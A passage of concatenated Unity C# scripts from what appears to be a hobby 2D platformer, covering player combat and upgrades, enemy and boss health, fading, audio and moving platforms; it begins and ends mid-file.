private void OnTriggerExit2D(Collider2D collision)
{
if (isPlayerEntered)
{
isPlayerEntered = false;
checkingCoroutine = CheckPlayerLeft();
StartCoroutine(checkingCoroutine);
}
}
private IEnumerator CheckPlayerLeft()
{
yield return new WaitForSeconds(playerWaitInterval);
if (!coll.IsTouchingLayers(LayerMask.GetMask("Player")))
{
OnPlayerExit();
}
}
protected virtual void OnPlayerExit()
{
throw new NotImplementedException();
}
protected virtual void OnPlayerEnter()
{
return;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class Fader : MonoBehaviour
{
CanvasGroup canv;
private void Awake()
{
canv = GetComponent<CanvasGroup>();
}
public void FadeOutImmediately()
{
canv.alpha = 1;
}
public IEnumerator FadeOut(float time)
{
GetComponent<Canvas>().sortingOrder = 10;
while (canv.alpha < 1)
{
canv.alpha += Time.fixedDeltaTime / time;
yield return null;
}
}
public IEnumerator FadeIn(float time)
{
while (canv.alpha > 0)
{
canv.alpha -= Time.fixedDeltaTime / time;
yield return null;
}
GetComponent<Canvas>().sortingOrder = 0;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyHealth : MonoBehaviour, Health
{
[SerializeField] float maxHealth = 20f;
[SerializeField] float totalHealth = 20f;
[SerializeField] AudioClip damagedClip;
[SerializeField] AudioClip deathClip;
Animator anim;
bool isDead = false;
private void Start()
{
totalHealth = maxHealth;
anim = GetComponent<Animator>();
}
public void DamageHealth(float dmg)
{
if (!isDead)
{
StartCoroutine(GetComponent<EnemyMovement>().Damaged());
DecreaseHealth(dmg);
}
}
public void KnockBackHit(float dmg, bool knockedRight)
{
if (!isDead)
{
if(GetComponent<EnemyMovement>()) StartCoroutine(GetComponent<EnemyMovement>().KnockBack(knockedRight));
DecreaseHealth(dmg);
}
}
private void DecreaseHealth(float dmg)
{
if (damagedClip != null)
{
AudioSource.PlayClipAtPoint(damagedClip, transform.position, 1f);
}
totalHealth -= dmg;
anim.SetTrigger("takeDamage");
if (totalHealth <= 0)
{
HandleDeath();
}
}
private void HandleDeath()
{
if (deathClip != null)
{
AudioSource.PlayClipAtPoint(deathClip, transform.position, 1f);
}
anim.SetBool("isDead", true);
isDead = true;
this.enabled = false;
}
public void Die()
{
Destroy(gameObject);
}
public bool IsDead()
{
return isDead;
}
public float GetHealth()
{
return totalHealth;
}
public float GetMaxHealth()
{
return maxHealth;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UIController : MonoBehaviour
{
bool isGameRunning = true;
SceneLoader loader;
[SerializeField] GameObject pauseCanvas;
private void Start()
{
loader = FindObjectOfType<SceneLoader>();
}
public void ToMainMenuWithoutSave()
{
loader.LoadMainMenu(false);
}
public void ToMainMenuWithSave()
{
loader.LoadMainMenu(true);
}
//if anyone ever reads this, I know, I know
//you shouldn't put same dependency in multiple scripts
//I am sorry, okay?
public void WrapLoad()
{
loader.LoadLastWrap();
}
public void PauseGame()
{
if (isGameRunning)
{
Time.timeScale = 0;
pauseCanvas.SetActive(true);
isGameRunning = false;
}
else
{
Time.timeScale = 1;
pauseCanvas.SetActive(false);
isGameRunning = true;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyCombat : MonoBehaviour
{
[SerializeField] float damage = 1f;
private void OnTriggerEnter2D(Collider2D collision)
{
DealDamage(collision);
}
private void OnTriggerStay2D(Collider2D collision)
{
DealDamage(collision);
}
private void DealDamage(Collider2D collision)
{
if (collision.GetComponent<PlayerHealth>())
{
bool knockedRight = IsEnemyRight(collision);
collision.GetComponent<PlayerHealth>().DamageHealth(damage);
}
}
private bool IsEnemyRight(Collider2D enemy)
{
bool knockedRight;
if (enemy.transform.position.x > transform.position.x)
{
knockedRight = true;
}
else
{
knockedRight = false;
}
return knockedRight;
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PersistentObjectSpawner : MonoBehaviour
{
[SerializeField] GameObject persistentObjPrefab;
static bool hasSpawned = false;
private void Awake()
{
if (hasSpawned) { return; }
SpawnPersistentObjects();
hasSpawned = true;
}
private void Start()
{
FindObjectOfType<AudioPlayer>().CheckMusic();
}
private void SpawnPersistentObjects()
{
GameObject persistentObjects = Instantiate(persistentObjPrefab);
DontDestroyOnLoad(persistentObjects);
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerAbilities : MonoBehaviour
{
[SerializeField] float meditationTickTime = 3f;
[SerializeField] float meditationRestore = 1f;
Animator _animator;
Rigidbody2D _rbody;
PlayerHealth health;
CombatCharge charge;
PlayerUpgrades upgrades;
bool isMeditating = false;
// Start is called before the first frame update
void Start()
{
_animator = GetComponent<Animator>();
_rbody = GetComponent<Rigidbody2D>();
health = GetComponent<PlayerHealth>();
charge = GetComponent<CombatCharge>();
upgrades = GetComponent<PlayerUpgrades>();
}
// Update is called once per frame
void Update()
{
HandleMeditation();
}
private void HandleMeditation()
{
if (upgrades.HasUpgrade(Upgrade.UpgradeType.Meditation))
{
if (Input.GetKey(KeyCode.T))
{
if (!isMeditating && _animator.GetCurrentAnimatorStateInfo(0).IsName("Idle") && charge.GetCharge() > 0) StartCoroutine(Meditation());
}
else if (isMeditating)
{
SetMeditation(false);
}
}
}
private void SetMeditation(bool med)
{
isMeditating = med;
_animator.SetBool("isMeditating", isMeditating);
}
private IEnumerator Meditation()
{
SetMeditation(true);
while (isMeditating && charge.GetCharge() > 0)
{
health.Heal(meditationRestore*(1 + charge.GetCharge()));
yield return new WaitForSeconds(meditationTickTime);
}
SetMeditation(false);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Tilemaps;
public class FollowCamera : MonoBehaviour
{
[SerializeField] Transform followingCamera;
[SerializeField]float camSpeedX = 0.8f;
[SerializeField] float camSpeedY = 0.8f;
Vector3 actualCamPos;
private float texUnitSize = 0f;
private void Start()
{
actualCamPos = followingCamera.position;
Sprite sprite = GetComponent<SpriteRenderer>().sprite;
Texture2D tex = sprite.texture;
texUnitSize = tex.width / sprite.pixelsPerUnit;
}
// Update is called once per frame
void FixedUpdate()
{
Vector3 deltaCam = followingCamera.position - actualCamPos;
transform.position += new Vector3(deltaCam.x * camSpeedX, deltaCam.y*camSpeedY, 0);
actualCamPos = followingCamera.position;
if (Mathf.Abs(followingCamera.position.x - transform.position.x) >= texUnitSize)
{
float offsetX = (followingCamera.position.x - transform.position.x) % texUnitSize;
transform.position = new Vector3(followingCamera.position.x + offsetX, transform.position.y);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Rock : MonoBehaviour
{
[SerializeField] float damageVelocity = 6f;
[SerializeField] GameObject destructionPrefab;
[SerializeField] AudioClip damagedClip;
Rigidbody2D rBody;
private void Awake()
{
rBody = GetComponent<Rigidbody2D>();
}
private void OnCollisionEnter2D(Collision2D collision)
{
if (collision.gameObject.tag == "Player" && rBody.velocity.magnitude > 0)
{
collision.gameObject.GetComponent<PlayerHealth>().DamageHealth(rBody.velocity.magnitude / damageVelocity);
DestroyBoulder();
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.tag == "EnemyProjectile")
{
DestroyBoulder();
}
}
private void DestroyBoulder()
{
AudioSource.PlayClipAtPoint(damagedClip, transform.position, 1f);
GameObject destParticles = Instantiate(destructionPrefab, transform.position, transform.rotation);
gameObject.SetActive(false);
Destroy(destParticles, 3);
Destroy(gameObject, 4);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public interface Health
{
void DamageHealth(float dmg);
bool IsDead();
void Die();
void KnockBackHit(float dmg, bool knockedRight);
float GetHealth();
float GetMaxHealth();
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerAudio : MonoBehaviour
{
//0-1 steps
//2 - punch
//3 - kick
//4 - jump
//5 - land
[SerializeField] AudioClip[] clips;
public void PlayWalk()
{
int i = Random.Range(0, 2);
AudioSource.PlayClipAtPoint(clips[i], transform.position, 0.5f);
}
public void PlayPunch()
{
AudioSource.PlayClipAtPoint(clips[2], transform.position);
}
public void PlayKick()
{
AudioSource.PlayClipAtPoint(clips[3], transform.position);
}
public void PlayJump()
{
AudioSource.PlayClipAtPoint(clips[4], transform.position);
}
public void PlayLand()
{
AudioSource.PlayClipAtPoint(clips[5], transform.position);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerWorldInteraction : MonoBehaviour
{
Door door;
bool hasGoneThrough = false;
private void Update()
{
if (Input.GetKeyDown(KeyCode.UpArrow))
{
if (door != null && !hasGoneThrough)
{
hasGoneThrough = true;
SceneLoader sceneLoader = FindObjectOfType<SceneLoader>();
var doorName = door.GetSceneName();
var doorIndex = door.GetDoorIndex();
sceneLoader.DoorLoadScene(doorName, doorIndex);
}
}
//if (Input.GetAxis("Vertical") == 0)
//{
// hasGoneThrough = false;
//}
}
private void OnTriggerEnter2D(Collider2D other)
{
if (other.gameObject.GetComponent<Door>())
{
door = other.gameObject.GetComponent<Door>();
}
}
private void OnTriggerExit2D(Collider2D collision)
{
if (collision.gameObject.GetComponent<Door>())
{
door = null;
}
}
bool isTouchingDoors()
{
Debug.Log(GetComponent<Collider2D>().IsTouchingLayers(LayerMask.GetMask("Doors")));
return GetComponent<Collider2D>().IsTouchingLayers(LayerMask.GetMask("Doors"));
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerEnterMask : PlayerEnterExit
{
SpriteMask mask;
private void Start()
{
mask = GetComponent<SpriteMask>();
}
protected override void OnPlayerEnter()
{
mask.enabled = true;
}
protected override void OnPlayerExit()
{
mask.enabled = false;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ControlSuggestion : PlayerEnterExit
{
[SerializeField] float frequency = 1f;
SpriteRenderer _renderer;
IEnumerator showSuggestion;
// Start is called before the first frame update
void Start()
{
_renderer = GetComponentInChildren<SpriteRenderer>();
showSuggestion = null;
}
protected override void OnPlayerEnter()
{
if (showSuggestion == null)
{
showSuggestion = Suggest();
StartCoroutine(showSuggestion);
}
}
protected override void OnPlayerExit()
{
StopCoroutine(showSuggestion);
showSuggestion = null;
_renderer.enabled = false;
}
private IEnumerator Suggest()
{
while (true)
{
_renderer.enabled = true;
yield return new WaitForSeconds(1 / frequency);
_renderer.enabled = false;
yield return new WaitForSeconds(1 / frequency);
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BossCombat : GhostCombat
{
[SerializeField] int maxBounces = 2;
[SerializeField] float maxSpeed = 4f;
[SerializeField] float minSpeed = 1f;
[SerializeField] GameObject ringFire;
[SerializeField] GameObject fireballPrefab;
[SerializeField] Transform[] fireballPoints;
[SerializeField] float fireballRotationSpeed = 30f;
[SerializeField] float fireballOffset = 1f;
[SerializeField] float fireballDelayTime = 3f;
[SerializeField] float fireballSpeed = 3f;
int timesBounced = 0;
[SerializeField] AudioClip fireballThrow;
bool ringActivated = false;
bool fireBallThrow = false;
bool stickingToPlayer = false;
private List<GameObject> fireballs;
IEnumerator stayWithPlayer;
IEnumerator fireballLauncher;
// Start is called before the first frame update
void Start()
{
fireballs = new List<GameObject>();
timesBounced = 0;
ringFire.SetActive(false);
player = FindObjectOfType<PlayerController>().transform;
health = GetComponent<BossHealth>();
_animator = GetComponent<Animator>();
movement = GetComponent<BossMovement>();
breathOffsetX = Mathf.Abs(BreathTransform.position.x - transform.position.x);
_animator.SetTrigger("Transform");
}
private void Update()
{
if (!health.IsDead())
{
if (player != null)
{
InitiateAttack();
}
if (health.GetHealth() <= health.GetMaxHealth() * 2 / 3)
{
HandleFireball();
}
if (health.GetHealth() <= health.GetMaxHealth() / 3 && !ringActivated)
{
HandleRingOfFireUpgrade();
}
}
else
{
if(fireballLauncher != null) { StopCoroutine(fireballLauncher); }
ringFire.SetActive(false);
}
}
private void HandleFireball()
{
CheckFireballPositions();
foreach (Transform point in fireballPoints)
{
if (point.childCount < 1)
{
fireballLauncher = LaunchFireball(point);
StartCoroutine(fireballLauncher);
}
}
}
private void notAttacking()
{
isAttacking = false;
}
#region powerups
private IEnumerator LaunchFireball(Transform point)
{
GameObject fireball = CreateFireball(point);
yield return new WaitForSeconds(fireballDelayTime);
//check if fireball exists - player might have collided with it already
if (fireball)
{
fireball.GetComponent<Fireball>().isBossFireball = false;
fireball.transform.parent = null;
Vector3 directionVector = (player.position - point.position).normalized;
fireball.GetComponent<Fireball>().SetMoveVector(directionVector * fireballSpeed);
AudioSource.PlayClipAtPoint(fireballThrow, fireball.transform.position);
}
}
private GameObject CreateFireball(Transform point)
{
var instantPoint = point.position;
instantPoint.x -= fireballOffset;
var fireball = Instantiate(fireballPrefab, instantPoint, point.rotation, point);
fireball.GetComponent<Fireball>().isBossFireball = true;
fireball.GetComponent<Fireball>().rotationSpeed = fireballRotationSpeed;
if (fireball != null)
{
fireballs.Add(fireball);
}
return fireball;
}
private void CheckFireballPositions()
{
var _renderer = GetComponentInChildren<SpriteRenderer>();
float diffOne = Mathf.Abs(fireballPoints[0].position.x - transform.position.x);
float diffTwo = Mathf.Abs(fireballPoints[1].position.x - transform.position.x);
if (_renderer.flipX)
{
fireballPoints[0].position = new Vector2(transform.position.x + diffOne, fireballPoints[0].position.y);
fireballPoints[1].position = new Vector2(transform.position.x - diffTwo, fireballPoints[1].position.y);
}
else
{
fireballPoints[0].position = new Vector2(transform.position.x - diffOne, fireballPoints[0].position.y);
fireballPoints[1].position = new Vector2(transform.position.x + diffTwo, fireballPoints[1].position.y);
}
}
private void HandleRingOfFireUpgrade()
{
GetComponent<AudioSource>().Play();
ringFire.SetActive(true);
}
#endregion
protected override void OnAttack()
{
if (stayWithPlayer != null) { stayWithPlayer = null; }
movement.SetMovementVector(Vector2.zero);
_animator.SetTrigger("Attack");
stayWithPlayer = StayWithPlayer();
StartCoroutine(stayWithPlayer);
}
private IEnumerator StayWithPlayer()
{
Vector3 offsetFromPlayer = player.position - transform.position;
stickingToPlayer = true;
while (stickingToPlayer)
{
if ((player.position - transform.position).magnitude >= offsetFromPlayer.magnitude)
{
movement.SetMovementVector(Vector2.zero);
transform.position = player.position - offsetFromPlayer;
}
yield return null;
}
}
private void BreatheOut()
{
var breath = Instantiate(breathPrefab, BreathTransform.position, breathRotation);
breath.GetComponent<Breath>().SetDamage(breathDamage);
breath.GetComponent<Animator>().SetTrigger("Red");
}
protected override void OnAttackCompleted()
{
return;
}
//called after the breath animation is finished
private void StartMovement()
{
stickingToPlayer = false;
if (stayWithPlayer != null)
{
StopCoroutine(stayWithPlayer);
}
float randomX = UnityEngine.Random.Range(0f, 1f);
float randomY = (float)Math.Sqrt(1 - randomX * randomX);
float randomSpeed = UnityEngine.Random.Range(minSpeed, maxSpeed);
var randomVec = new Vector2(randomX, randomY);
movement.SetMovementVector(randomSpeed * randomVec);
}
public void Bounce()
{
timesBounced++;
if (timesBounced >= maxBounces)
{
timesBounced = 0;
isAttacking = false;
}
}
private void OnDrawGizmosSelected()
{
Gizmos.DrawWireSphere(transform.position, attackRange);
Gizmos.DrawWireSphere(BreathTransform.position, breathRadius);
}
public List<GameObject> GetFireBalls()
{
return fireballs;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class HealthRecovery : MonoBehaviour
{
EnemyHealth health;
// Start is called before the first frame update
void Start()
{
health = GetComponent<EnemyHealth>();
}
// Update is called once per frame
void Update()
{
if (health.GetHealth() < 200)
{
health.DamageHealth(-500);
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerCombat : MonoBehaviour
{
[Header("Combat")]
[SerializeField] float attackRange = 1.5f;
[SerializeField] float aerialRange = 0.55f;
[SerializeField] float attackDamage = 5f;
[SerializeField] float attackRate = 2f;
[SerializeField] float chargeRate = 30f;
[SerializeField] float projSpeed = 6f;
[SerializeField] float projLifeTime = 6f;
[SerializeField] Vector2 kickAttackBoxParams = new Vector2(3f, 3f);
[SerializeField] Vector2 punchAttackBoxParams = new Vector2(3f, 3f);
[SerializeField] Vector2 crouchKickAttackBoxParams = new Vector2(3f, 3f);
[SerializeField] Transform attackPoint;
[SerializeField] Transform kickTransform;
[SerializeField] Transform punchTransform;
[SerializeField] Transform crouchKickTransform;
[SerializeField] GameObject punchProjectile;
[SerializeField] string[] damageLayers = { "Enemies", "Projectiles"};
float nextAttackTime = 0f;
float punchWaitTime = 2f;
float chargeBeforePunch = 0f;
float actualRange;
Animator _animator;
SpriteRenderer _renderer;
CombatCharge charge;
IEnumerator punchCoroutine;
PlayerUpgrades upgrades;
Transform actualAttackTransform;
Vector2 actualAttackParams;
bool chargingFist = false;
// Start is called before the first frame update
void Start()
{
upgrades = GetComponent<PlayerUpgrades>();
_renderer = GetComponentInChildren<SpriteRenderer>();
_animator = GetComponent<Animator>();
charge = GetComponent<CombatCharge>();
//punchCoroutine = WaitForPunchTime();
}
// Update is called once per frame
void Update()
{
HandleAttackInput();
}
private void HandleAttackInput()
{
if (Time.time >= nextAttackTime)
{
if (Input.GetKeyDown(KeyCode.W))
{
if (_animator.GetCurrentAnimatorStateInfo(0).IsName("Idle") && upgrades.HasUpgrade(Upgrade.UpgradeType.FireFist))
{
nextAttackTime = Time.time + 1f / attackRate;
chargeBeforePunch = charge.GetCharge();
punchCoroutine = WaitForPunchTime();
StartFirePunch();
}
else
{
int a = UnityEngine.Random.Range(0, 2);
if (a == 0)
{
Attack("punch");
}
else
{
Attack("kick");
}
nextAttackTime = Time.time + 1f / attackRate;
}
}
}
if (Input.GetKeyUp(KeyCode.W) && chargingFist)
{
DisruptFirePunch();
}
if (Input.anyKeyDown && !Input.GetKeyDown(KeyCode.W) && chargingFist)
{
//just stops the charging if any other key is pressed without dealing damage
DisruptFirePunch(false);
}
}
#region Fire Punch handling
private void StartFirePunch()
{
GetCorrectTransform("");
chargingFist = true;
CheckAttackPoint();
DelayPunch();
PlayAnim("punch");
}
private void DelayPunch()
{
_animator.speed = 0;
punchTransform.gameObject.GetComponent<ParticleSystem>().Play();
StartCoroutine(punchCoroutine);
}
public void DisruptFirePunch(bool shouldHit = true)
{
GetComponent<AudioSource>().Stop();
if (chargingFist)
{
StopCoroutine(punchCoroutine);
punchCoroutine = WaitForPunchTime();
FinalizePunch(shouldHit);
chargingFist = false;
}
}
IEnumerator WaitForPunchTime()
{
GetComponent<AudioSource>().Play();
while (charge.GetCharge() < 1)
{
charge.AddCharge(charge.GetMaxDamage() / chargeRate, true);
yield return new WaitForSeconds((1 - charge.GetCharge()) * (punchWaitTime / chargeRate));
}
GetComponent<AudioSource>().Stop();
FinalizePunch(true);
ShootPojectile();
}
private void ShootPojectile()
{
var fireFist = Instantiate(punchProjectile, attackPoint.position, transform.rotation);
Vector2 directionVector;
if (attackPoint.position.x > transform.position.x)
{
directionVector = Vector2.right;
}
else
{
directionVector = Vector2.left;
}
fireFist.GetComponent<Fireball>().SetMoveVector(directionVector * projSpeed);
fireFist.GetComponent<Fireball>().SetDamage(attackDamage * (1 + charge.GetCharge()));
StartCoroutine(TrackProjectile(fireFist));
}
IEnumerator TrackProjectile(GameObject fBall)
{
yield return new WaitForSeconds(projLifeTime);
if (fBall)
{
fBall.GetComponent<Animator>().SetTrigger("explode");
}
}
private void FinalizePunch(bool shouldHit)
{
punchTransform.gameObject.GetComponent<ParticleSystem>().Stop();
_animator.speed = 1;
if (shouldHit) { HitAndDamage(); }
}
private void ResetChargeFromAttack()
{
if (chargingFist)
{
chargingFist = false;
charge.ResetCharge(chargeBeforePunch);
}
}
#endregion
private void Attack(string attName)
{
GetCorrectTransform(attName);
CheckAttackPoint();
PlayAnim(attName);
HitAndDamage();
}
private void CheckAttackPoint()
{
var diff = Mathf.Abs(transform.position.x - actualAttackTransform.position.x);
var fistDiff = Mathf.Abs(transform.position.x - punchTransform.position.x);
FlipAttackPoint(diff, fistDiff, _renderer.flipX);
//FlipPunchPoint(fistDiff, _renderer.flipX);
}
private void FlipPunchPoint(float fistDiff, bool isFlipped)
{
Vector2 pos = punchTransform.position;
pos.x += 2 * fistDiff;
punchTransform.position = pos;
}
void FlipAttackPoint(float diff, float chargeDiff, bool isFlipped)
{
Vector2 attackPos = actualAttackTransform.position;
Vector2 chargePos = punchTransform.position;
if (!isFlipped)
{
attackPos.x = transform.position.x + diff;
chargePos.x = transform.position.x - chargeDiff;
}
else
{
attackPos.x = transform.position.x - diff;
chargePos.x = transform.position.x + chargeDiff;
}
actualAttackTransform.position = attackPos;
punchTransform.position = chargePos;
}
private void HitAndDamage()
{
ResetChargeFromAttack();
Collider2D[] enemies;
enemies = Physics2D.OverlapBoxAll(actualAttackTransform.position, actualAttackParams, 0f, LayerMask.GetMask("Enemies", "Projectiles"));
if (enemies.Length > 0) { DamageEnemies(enemies); }
}
private void GetCorrectTransform(string attName)
{
if (_animator.GetCurrentAnimatorStateInfo(0).IsName("Jump") || _animator.GetCurrentAnimatorStateInfo(0).IsName("Falling"))
{
actualAttackTransform = kickTransform;
actualAttackParams = kickAttackBoxParams;
} else if (_animator.GetCurrentAnimatorStateInfo(0).IsName("Crouch"))
{
actualAttackTransform = crouchKickTransform;
actualAttackParams = crouchKickAttackBoxParams;
}
else if (attName == "kick")
{
actualAttackTransform = kickTransform;
actualAttackParams = kickAttackBoxParams;
}
else
{
actualAttackTransform = attackPoint;
actualAttackParams = punchAttackBoxParams;
}
}
private void DamageEnemies(Collider2D[] enemiesHit)
{
float damage = attackDamage * (1 + charge.GetCharge());
foreach (Collider2D enemy in enemiesHit)
{
charge.AddCharge(damage);
bool knockedRight = IsEnemyRight(enemy);
if (enemy.tag == "EnemyProjectile")
{
enemy.GetComponent<Fireball>().ReverseDirection();
return;
}
if (enemy.GetComponent<Health>() != null && !enemy.GetComponent<Health>().IsDead())
{
enemy.GetComponent<Health>().KnockBackHit(damage, knockedRight);
}
}
}
private bool IsEnemyRight(Collider2D enemy)
{
bool knockedRight;
if (enemy.transform.position.x > transform.position.x)
{
knockedRight = true;
}
else
{
knockedRight = false;
}
return knockedRight;
}
public void ResetAerialKick()
{
_animator.SetBool("kickAerial", false);
}
private void PlayAnim(string attName)
{
if (_animator.GetCurrentAnimatorStateInfo(0).IsName("Jump") || _animator.GetCurrentAnimatorStateInfo(0).IsName("Falling"))
{
_animator.SetBool("kickAerial", true);
actualRange = aerialRange;
} else if (_animator.GetCurrentAnimatorStateInfo(0).IsName("Crouch"))
{
_animator.SetTrigger("kick");
}
else
{
_animator.SetTrigger(attName);
actualRange = attackRange;
}
}
private void OnDrawGizmosSelected()
{
//Gizmos.DrawWireCube(actualAttackTransform.position, actualAttackParams);
Gizmos.DrawWireCube(attackPoint.position, punchAttackBoxParams);
Gizmos.DrawWireCube(kickTransform.position, kickAttackBoxParams);
Gizmos.DrawWireCube(crouchKickTransform.position, crouchKickAttackBoxParams);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BossHealth : MonoBehaviour, Health
{
[SerializeField] float maxHealth = 20f;
[SerializeField] float totalHealth = 20f;
[SerializeField] ParticleSystem deathSystem;
[SerializeField] float waitforWinScreen = 5f;
[SerializeField] float secondsDamaged = 1f;
[SerializeField] AudioClip damagedClip;
[SerializeField] AudioClip deathClip;
Animator anim;
SpriteRenderer _renderer;
bool isDead = false;
private void Start()
{
totalHealth = maxHealth;
anim = GetComponent<Animator>();
_renderer = GetComponentInChildren<SpriteRenderer>();
}
public void DamageHealth(float dmg)
{
if (!isDead)
{
//StartCoroutine(GetComponent<EnemyMovement>().Damaged());
DecreaseHealth(dmg);
}
}
private void DecreaseHealth(float dmg)
{
if (damagedClip != null)
{
AudioSource.PlayClipAtPoint(damagedClip, transform.position, 1f);
}
totalHealth -= dmg;
StartCoroutine(Damaged());
if (totalHealth <= 0)
{
HandleDeath();
}
}
IEnumerator Damaged()
{
_renderer.color = Color.red;
yield return new WaitForSeconds(secondsDamaged);
_renderer.color = Color.white;
}
private void HandleDeath()
{
if (deathClip != null)
{
AudioSource.PlayClipAtPoint(deathClip, transform.position, 1f);
}
isDead = true;
_renderer.enabled = false;
GetComponent<BossMovement>().enabled = false;
var fireballs = GetComponent<BossCombat>().GetFireBalls();
foreach (GameObject fireball in fireballs)
{
if (fireball != null) ;
fireball.SetActive(false);
}
GetComponent<Animator>().speed = 0;
var enemySpawners = FindObjectsOfType<EnemySpawner>();
foreach (EnemySpawner spawner in enemySpawners)
{
spawner.gameObject.SetActive(false);
}
deathSystem.Play();
this.enabled = false;
StartCoroutine(Win());
}
IEnumerator Win()
{
yield return new WaitForSeconds(waitforWinScreen);
Alert al = FindObjectOfType<Alert>();
al.ReceiveText("You won! But there's still no escape. Have fun!");
}
public float GetHealth()
{
return totalHealth;
}
public float GetMaxHealth()
{
return maxHealth;
}
public void Die()
{
Destroy(gameObject, 3f);
}
public bool IsDead()
{
return isDead;
}
public void KnockBackHit(float dmg, bool knockedRight)
{
DamageHealth(dmg);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UpdatedPlatformMovement : MonoBehaviour
{
[SerializeField] private Transform[] waypoints;
[SerializeField] private float movementSpeed = 3f;
private Vector3 movementVec;
private Collider2D coll;
private Transform otherBody;
[SerializeField] private int startIndex = 0;
private int waypointIndex = 0;
void Start()
{
coll = GetComponent<Collider2D>();
waypointIndex = startIndex;
UpdateMovementVector();
}
private void FixedUpdate()
{
transform.position += movementVec * Time.deltaTime;
if (otherBody != null && !coll.IsTouchingLayers(LayerMask.GetMask("Player")))
{
if (otherBody.GetComponent<PlayerController>().GetIsFalling() || otherBody.GetComponent<PlayerController>().GetIsJumping())
{
otherBody.parent = null;
otherBody = null;
}
}
}
private void UpdateMovementVector()
{
movementVec = (waypoints[waypointIndex].position - transform.position).normalized * movementSpeed;
if (waypointIndex == waypoints.Length - 1)
{
waypointIndex = 0;
}
else
{
waypointIndex++;
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.tag == "platformReversePoint" && collision.transform.IsChildOf(transform.parent))
{
UpdateMovementVector();
}
}
private void OnCollisionEnter2D(Collision2D collision)
{
if (collision.gameObject.tag == "Player")
{
otherBody = collision.transform;
if (otherBody != null)
{
otherBody.parent = this.transform;
}
}
}
private void OnCollisionExit2D(Collision2D collision)
{
if (collision.transform == otherBody && otherBody != null
&& (otherBody.GetComponent<PlayerController>().GetIsFalling() || otherBody.GetComponent<PlayerController>().GetIsJumping()))
{
var otherMovementVector = collision.gameObject.GetComponent<Rigidbody2D>().velocity + new Vector2(movementVec.x, movementVec.y);
collision.gameObject.GetComponent<Rigidbody2D>().velocity = otherMovementVector;
otherBody.parent = null;
otherBody = null;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class AudioPlayer : MonoBehaviour
{
[SerializeField] AudioClip[] clips;
SceneLoader loader;
AudioSource _source;
bool isInTown = false;
public void CheckMusic()
{
_source = GetComponent<AudioSource>();
loader = FindObjectOfType<SceneLoader>();
if (!isInTown && (loader.GetSceneName() == "Main Menu" || loader.GetSceneName() == "Tutorial"))
{
isInTown = true;
_source.clip = clips[0];
_source.Play();
}
if (loader.GetSceneName() == "SecondLevel")
{
isInTown = false;
_source.clip = clips[1];
_source.Play();
}
if (loader.GetSceneName() == "BossLevel")
{
isInTown = false;
_source.clip = clips[2];
_source.Play();
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerUpgrades : MonoBehaviour, ISaveable, IObserver
{
[SerializeField]List<Upgrade.UpgradeType> upgrades = new List<Upgrade.UpgradeType>();
public object CaptureState()
{
return upgrades;
}
public void RestoreState(object state)
{
upgrades = (List<Upgrade.UpgradeType>)state;
}
//public void SetUpgrade(Upgrade.UpgradeType type)
//{
// if (!upgrades.Contains(type))
// {
// upgrades.Add(type);
// }
//}
public bool HasUpgrade(Upgrade.UpgradeType type)
{
return upgrades.Contains(type);
}
public void ReceiveUpdate(ISubject subject)
{
Upgrade up = (subject as Upgrade);
if (!upgrades.Contains(up.GetUpgradeType()))
{
upgrades.Add(up.GetUpgradeType());
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Upgrade : MonoBehaviour, ISubject
{
public enum UpgradeType
{
Meditation,
DoubleJump,
FireFist,
Shadow
}
[SerializeField] UpgradeType type;
[SerializeField] string message;
private bool isPickedUp = false;
Animator anim;
private List<IObserver> upgradeObservers = new List<IObserver>();
private void Start()
{
anim = GetComponent<Animator>();
Attach(FindObjectOfType<Alert>());
Attach(FindObjectOfType<PlayerUpgrades>());
}
private void OnTriggerStay2D(Collider2D collision)
{
if (!isPickedUp)
{
ProcessUpgrade(collision.gameObject);
}
}
private void ProcessUpgrade(GameObject player)
{
if (Input.GetKey(KeyCode.UpArrow))
{
isPickedUp = true;
GetComponent<ParticleSystem>().Play();
//GetComponentInChildren<ParticleSystem>().Stop();
Notify();
}
}
public string GetMessage()
{
return message;
}
public bool GetIsPicked()
{
return isPickedUp;
}
public UpgradeType GetUpgradeType()
{
return type;
}
public void Attach(IObserver observer)
{
this.upgradeObservers.Add(observer);
}
public void Detach(IObserver observer)
{
this.upgradeObservers.Remove(observer);
}
public void Notify()
{
foreach (var observer in upgradeObservers)
{
observer.ReceiveUpdate(this);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BossRingofFire : MonoBehaviour
{
[SerializeField] Vector3 rotation = new Vector3(0, 0, 10);
[SerializeField] float damage = 2f;
private void OnParticleCollision(GameObject other)
{
if (other.tag == "Player")
{
